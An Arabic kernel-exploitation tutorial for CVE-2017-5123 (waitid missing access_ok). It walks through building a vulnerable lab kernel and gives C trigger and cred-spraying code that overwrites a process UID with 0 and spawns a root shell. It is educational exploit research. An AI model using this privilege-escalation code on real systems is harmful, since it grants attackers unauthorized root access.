
إثبات المفهوم CVE-2017-5123 - تصعيد الامتيازات المحلية - تجاوز SMEP/SMAP. بدون KASLR
PoC CVE-2017-5123 - LPE - تجاوز SMAP/SMEP. بدون KASLR
في هذا الشرح الصغير، سأقوم بتحليل ثغرة في النواة تسمح لنا بالحصول على امتياز الجذر.
ينقسم هذا الملف إلى أربعة أجزاء:
أود أن أشير إلى أن هناك العديد من الطرق الأفضل لاستغلال هذا CVE (في الواقع، هذا مجرد PoC لتعلم النواة، ولا يمكن استخدامه في الواقع) لكنني أعتقد أن هذه المنهجية يمكن أن تكون مفيدة كمقدمة لاستغلال النواة.
تم تقديم هذه الثغرة في 4c48abe91be0 لذا نحتاج إلى بناء هذا الإصدار من النواة.
قد يكون هذا صعبًا بعض الشيء لأنه إصدار قديم ويجب تصحيح الكود.
لقد قمت بإنشاء مستودع يحتوي على كود نواة مصحح بالفعل وملف .config حتى تتمكن من الاستنساخ والبناء.
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
لاحظ أن هذه النواة سيتم بناؤها مع برامج تشغيل virtio حتى تتمكن من استخدام قرص virtio لمشاركة الملفات من/إلى الجهاز الظاهري.
الآن، سنقوم بإنشاء rootfs الأولي:
qemu-img create -f raw hda.raw 10G
# تنسيق القرص إلى ext4
mkfs.ext4 ./hda.raw
# إنشاء نقطة تحميل للصورة
mkdir /tmp/mount1
# تحميل القرص
sudo mount -o loop ./hda.raw /tmp/mount1
بعد ذلك، يجب علينا تثبيت توزيعة لينكس أساسية، على سبيل المثال باستخدام pacstrap أو debootstrap.
sudo pacstrap /tmp/mount1 base base-devel vim
أخيرًا، يمكننا تعديل النظام:
# إضافة مستخدم 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# بدون كلمة مرور
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# يمكننا تحميل قرص virtio لمشاركة الملفات بين المضيف والضيف
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# من المفيد الحصول على صلاحية sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
إذا كان كل شيء على ما يرام، يمكننا الآن تجربة نظام الاختبار الخاص بنا باستخدام qemu:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
يصف وصف الـ CVE وجود عملية كتابة غير مقيدة أثناء استدعاء النظام waitid.
لنفتح kernel/exit.c وننظر إلى الكود:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
هذه الدالة مباشرة إلى حد ما: بعد بضع عمليات فحص، هناك استدعاءات متعددة لـ unsafe_put_user(...) ثم تعود الدالة.
الجزء الرئيسي من هذه الدالة يتكون من دالة unsafe_put_user(...) لذا دعنا ننتقل إلى هناك (arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
هناك تحذير كبير جدًا في التعليق: إذا كنت تريد استخدام unsafe_put/get_user، يجب عليك أولاً استدعاء access_ok() وإحاطتها بـ user_access_begin/end().
إذا ألقينا نظرة على الكود السابق (waitid)، يمكننا أن نرى أن access_ok() لم يتم استدعاؤها أبدًا، لذا فإن استدعاء النظام ينتهك هذا التحذير.
ولكن ما هي هذه الماكرو?
SMAP و SMEP هما ميزتان أمنيتان تم تقديمهما في النواة من أجل جعل كتابة الاستغلالات أكثر صعوبة. وتجدر الإشارة إلى أن هذه الميزات يتم فرضها بواسطة وحدة المعالجة المركزية.
SMEP تمنع تنفيذ كود مساحة المستخدم بينما تكون وحدة المعالجة المركزية في وضع المشرف؛ SMAP، بدلاً من ذلك، تمنع الوصول للقراءة/الكتابة إلى ذاكرة المستخدم.
تحتاج النواة إلى كتابة/قراءة البيانات من/إلى ذاكرة المستخدم ويمكن تحقيق ذلك بطريقتين:
copy_from_user) تسمح بنسخ الذاكرة في مساحة النواة؛كما نرى في تعريف unsafe_put_user، ستقوم هذه الدالة فقط بنسخ قيمة x في الذاكرة المشار إليها بواسطة ptr (وتنتقل إلى err_label إذا حدث خطأ). لقد قلنا للتو أن النواة لا يمكنها الوصول إلى مساحة المستخدم بسبب SMAP ولهذا السبب يجب أن تكون هذه الدوال محاطة بين user_access_begin/end().
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
كما نرى، user_access_begin/end هما ببساطة تعليمة ASM stac و clac.
stac: "يضبط بت AC في سجل EFLAGS. قد يتيح ذلك فحص المحاذاة لوصول بيانات وضع المستخدم. يسمح هذا بوصول صريح لوضع المشرف إلى صفحات وضع المستخدم حتى إذا تم تعيين بت SMAP في سجل CR4."clac: "يمسح بت AC في سجل EFLAGS. يعطل هذا أي فحص محاذاة لوصول بيانات وضع المستخدم. إذا تم تعيين بت SMAP في سجل CR4، فإن هذا يمنع الوصول الصريح لوضع المشرف إلى صفحات وضع المستخدم."بشكل أساسي، تقوم هاتان الماكرو بتمكين/تعطيل SMAP.
تحذيرنا السابق يذكر أيضًا دالة access_ok:
/**
* access_ok: - تتحقق مما إذا كان مؤشر مساحة المستخدم صالحًا
* @type: نوع الوصول: %VERIFY_READ أو %VERIFY_WRITE. لاحظ أن
* %VERIFY_WRITE هي مجموعة شاملة من %VERIFY_READ - إذا كان من الآمن
* الكتابة إلى كتلة، فمن الآمن دائمًا القراءة منها.
* @addr: مؤشر مساحة المستخدم إلى بداية الكتلة المراد فحصها
* @size: حجم الكتلة المراد فحصها
*
* السياق: سياق المستخدم فقط. قد تنام هذه الدالة إذا تم تمكين أخطاء الصفحة.
*
* تتحقق مما إذا كان المؤشر إلى كتلة من الذاكرة في مساحة المستخدم صالحًا.
*
* ترجع صحيحًا (غير صفري) إذا كانت كتلة الذاكرة قد تكون صالحة، خطأ (صفر)
* إذا كانت بالتأكيد غير صالحة.
*
* لاحظ أنه، اعتمادًا على البنية، ربما تتحقق هذه الدالة فقط من أن المؤشر
* في نطاق مساحة المستخدم - بعد استدعاء هذه الدالة، قد تظل دوال الوصول
* إلى الذاكرة ترجع -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
التعليق هنا واضح بنفسه: هذا الماكرو يتحقق مما إذا كان المؤشر مؤشرًا صالحًا لمساحة المستخدم.
لنلقِ نظرة أخرى على كود waitid:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
كما خمنت بالفعل، يؤدي غياب access_ok() إلى كتابة عشوائية في أي مكان في الذاكرة لأن المؤشر infop يتم التحكم فيه بالكامل من قبل المهاجم.
من السهل جدًا الوصول إلى المسار القابل للاستغلال ويمكننا إنشاء مشغل بهذا الكود البسيط:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] محاولة الكتابة فوق 0x%016lx\r", where);
//int pid = fork(); // من الممكن أيضًا استخدام استدعاء النظام fork
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // يجب أن ننتظر الخيط
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
هذا الكود البسيط سيؤدي إلى تفعيل الثغرة والكتابة في الذاكرة المشار إليها بواسطة عنوان where.
يمكننا استخدام gdb إذا أردنا التحقق من هذا المشغل. على سبيل المثال، يمكننا تحديد عنوان عشوائي واستخدام دالة trigger_bug للكتابة فوقه.
يمكن استغلال هذه الثغرة بطرق متعددة لكنني أفضل نهجًا بسيطًا جدًا.
تذكر أنه يمكننا الكتابة في أي مكان نريده ولكن البيانات المكتوبة مسيطر عليها جزئيًا. يمكننا الكتابة فوق عنوان بـ 0.
الفكرة الأساسية هي الكتابة فوق UID لعمليةنا ونصبح الجذر لكننا نحتاج أولاً إلى فهم ما هي بيانات الاعتماد في لينكس.
نبدأ بالتعمق في استدعاء النظام fork. تستخدم هذه الدالة لإنشاء عمليات جديدة.
يمكننا فحص الكود في kernel/fork.c:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
لذا، فإن استدعاء النظام fork هو ببساطة مغلف لـ _do_fork مع معلمات مجمدة.
هذه الدالة الأخيرة طويلة بعض الشيء ولكن يمكننا تلخيصها بهذه الطريقة:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// سيؤدي هذا إلى إنشاء task_struct آخر لكنه لن يبدأ العملية.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// إيقاظ المهمة المنشأة حديثًا. سيؤدي هذا إلى تعيين حالة المهمة على RUNNING ووضعها في قائمة الانتظار الجارية
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
ستقوم هذه الدالة بتخصيص كائن task_struct جديد. على الرغم من أن هذه البنية مهمة جدًا (تصف عملية)، سنركز انتباهنا على حقل cred:
...
/* بيانات اعتماد العملية: */
/* بيانات اعتماد المتتبع عند الإرفاق: */
const struct cred __rcu *ptracer_cred;
/* بيانات اعتماد المهمة الموضوعية والحقيقية الذاتية (COW): */
const struct cred __rcu *real_cred;
/* بيانات اعتماد المهمة الذاتية الفعالة (القابلة للتجاوز) (COW): */
const struct cred __rcu *cred;
...
كما نرى، هناك (ثلاثة) مؤشرات إلى struct cred. دعنا نرى كيف تتكون هذه البنية (include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* عدد العمليات المشتركة */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* UID الحقيقي للمهمة */
kgid_t gid; /* GID الحقيقي للمهمة */
kuid_t suid; /* UID المحفوظ للمهمة */
kgid_t sgid; /* GID المحفوظ للمهمة */
kuid_t euid; /* UID الفعال للمهمة */
kgid_t egid; /* GID الفعال للمهمة */
kuid_t fsuid; /* UID لعمليات VFS */
kgid_t fsgid; /* GID لعمليات VFS */
......
كما نرى، UID لعملية هو ببساطة عدد صحيح غير موقع (اتبع تعريف kuid_t) لذا يمكننا ببساطة الكتابة فوق هذه القيمة بـ 0 لنصبح الجذر.
يتم تخصيص بنية task_struct في دالة copy_process وهي معقدة بعض الشيء وهدفها الرئيسي هو "نسخ" العملية إلى عملية جديدة.
يمكننا التركيز على copy_creds(p, clone_flags) المعرفة كالتالي:
/*
* نسخ بيانات الاعتماد للعملية الجديدة التي تم إنشاؤها بواسطة fork()
*
* نشارك إذا استطعنا، ولكن في بعض الظروف يجب علينا إنشاء مجموعة جديدة.
*
* تحصل العملية الجديدة على بيانات الاعتماد الذاتية للعملية الحالية كبيانات
* اعتماد موضوعية وذاتية
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
كما نرى، تستدعي هذه الدالة prepare_creds حيث يتم تنفيذ التخصيص الحقيقي.
لدينا الآن مسار لتخصيص عدد (شبه) عشوائي من struct cred:
_do_fork()copy_process()copy_creds()مشكلتنا الأخيرة هي كيفية استدعاء _do_fork() من مساحة المستخدم. يمكننا استخدام fork ولكن هذا قد يكون بطيئًا لذا سنستخدم clone بدلاً من ذلك.
ملاحظة: لا يمكننا استخدام pthread بسبب الأعلام: إذا نظرت إلى الكود copy_creds يجب أن تلاحظ أن هناك مسارًا حيث لا يتم تخصيص البنية حقًا.
الآن، خلاصة صغيرة:
0 في الذاكرة0، فإنها تحصل على صلاحيات الجذر.الآن نحتاج إلى معرفة أين نكتب في الذاكرة، وعلى الرغم من تعطيل KASLR، فإن عنوان struct cred واحد ليس مستقرًا بما يكفي لذا قررت المتابعة باستخدام رش الذاكرة.
نحتاج إلى العثور على struct cred في الذاكرة من أجل اكتشاف نطاق من العناوين. يمكننا استخدام gdb و python مع نص برمجي مثل هذا:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# أدخل اسم القابل للتنفيذ الخاص بك
if comm == "exploit":
print(task['cred'])
....
ملاحظة: يعمل هذا النص البرمجي فقط مع تعطيل KASLR ومع رموز التصحيح (نحتاج إلى مؤشر init_task).
يمكننا المحاولة عدة مرات ويمكننا أن نرى أن الكومة تنمو لأسفل لذا يمكننا تجربة عنوان أقل والصعود.
الآن يمكننا استخدام استدعاء النظام clone لتوليد الكثير من العمليات وبفضل gdb يمكننا التحقق من العناوين:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// دالة spray_thread يمكن أن تكون ببساطة حلقة لا نهائية
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] تم إنشاء العملية: %d\r", x);
}
ملاحظة: ربما لا يمكنك إنشاء أكثر من 4k عمليات. تحقق من ulimits إذا كانت هذه هي الحالة.
أخيرًا، يمكننا كتابة PoC الخاص بنا.
يكفي استدعاء trigger_bug بعناوين مختلفة (البحث عن البنية) بينما تقوم خيوطنا المنتشرة بفحص UID الخاص بها، مثل هذا:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// خيط منتشر
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// حلقة على استدعاء النظام getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// إذا كان UID المرتجع مختلفًا عن السابق، فقد أصابنا منطقة struct cred
if (uid != previous_one){
printf("فوز!! مع %d", uid);
// قتل الخيوط الأخرى لتحقيق الاستقرار للنظام
glob_var.one_win = 1;
// ببساطة افتح شيل
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
هناك احتمال بنسبة 50% لإصابة البنية لذا بعد بضع محاولات يمكنك الحصول على امتياز الجذر.

هذا هو PoC (أساسي) والرش بعيد عن الكمال. هذه مجرد "مقدمة" إلى عالم النواة الرائع، هناك العديد من المفاهيم التي تخطيتها لكنها مهمة جدًا (مثل إدارة الذاكرة). إذا كنت ترغب في الدراسة بشكل أعمق، يمكنك إلقاء نظرة على prepare_creds وتخصيصات الذاكرة.
تم تعطيل KASLR ولكن هذه الثغرة تسمح بتجاوز هذا التخفيف أيضًا (unsafe_put_user لا يتعطل مع عنوان غير صالح) لكنني لا أعتقد أن إضافة "طبقة" جديدة من القوة العمياء مفيدة إذا كان هدفك هو تعلم النواة. إذا كان هدفك هو استخدام هذه الثغرة في الواقع، يجب عليك كتابة استغلال مختلف (على الأقل، رش مختلف).
طعام للفكر: استخدمت هذه الثغرة لفهم ومحاولة تقنية ret2dir (تلميح: يمكنك تفعيل الكتابة في عنوان الاسم المستعار وقراءة التعديل باستخدام عنوان مساحة المستخدم).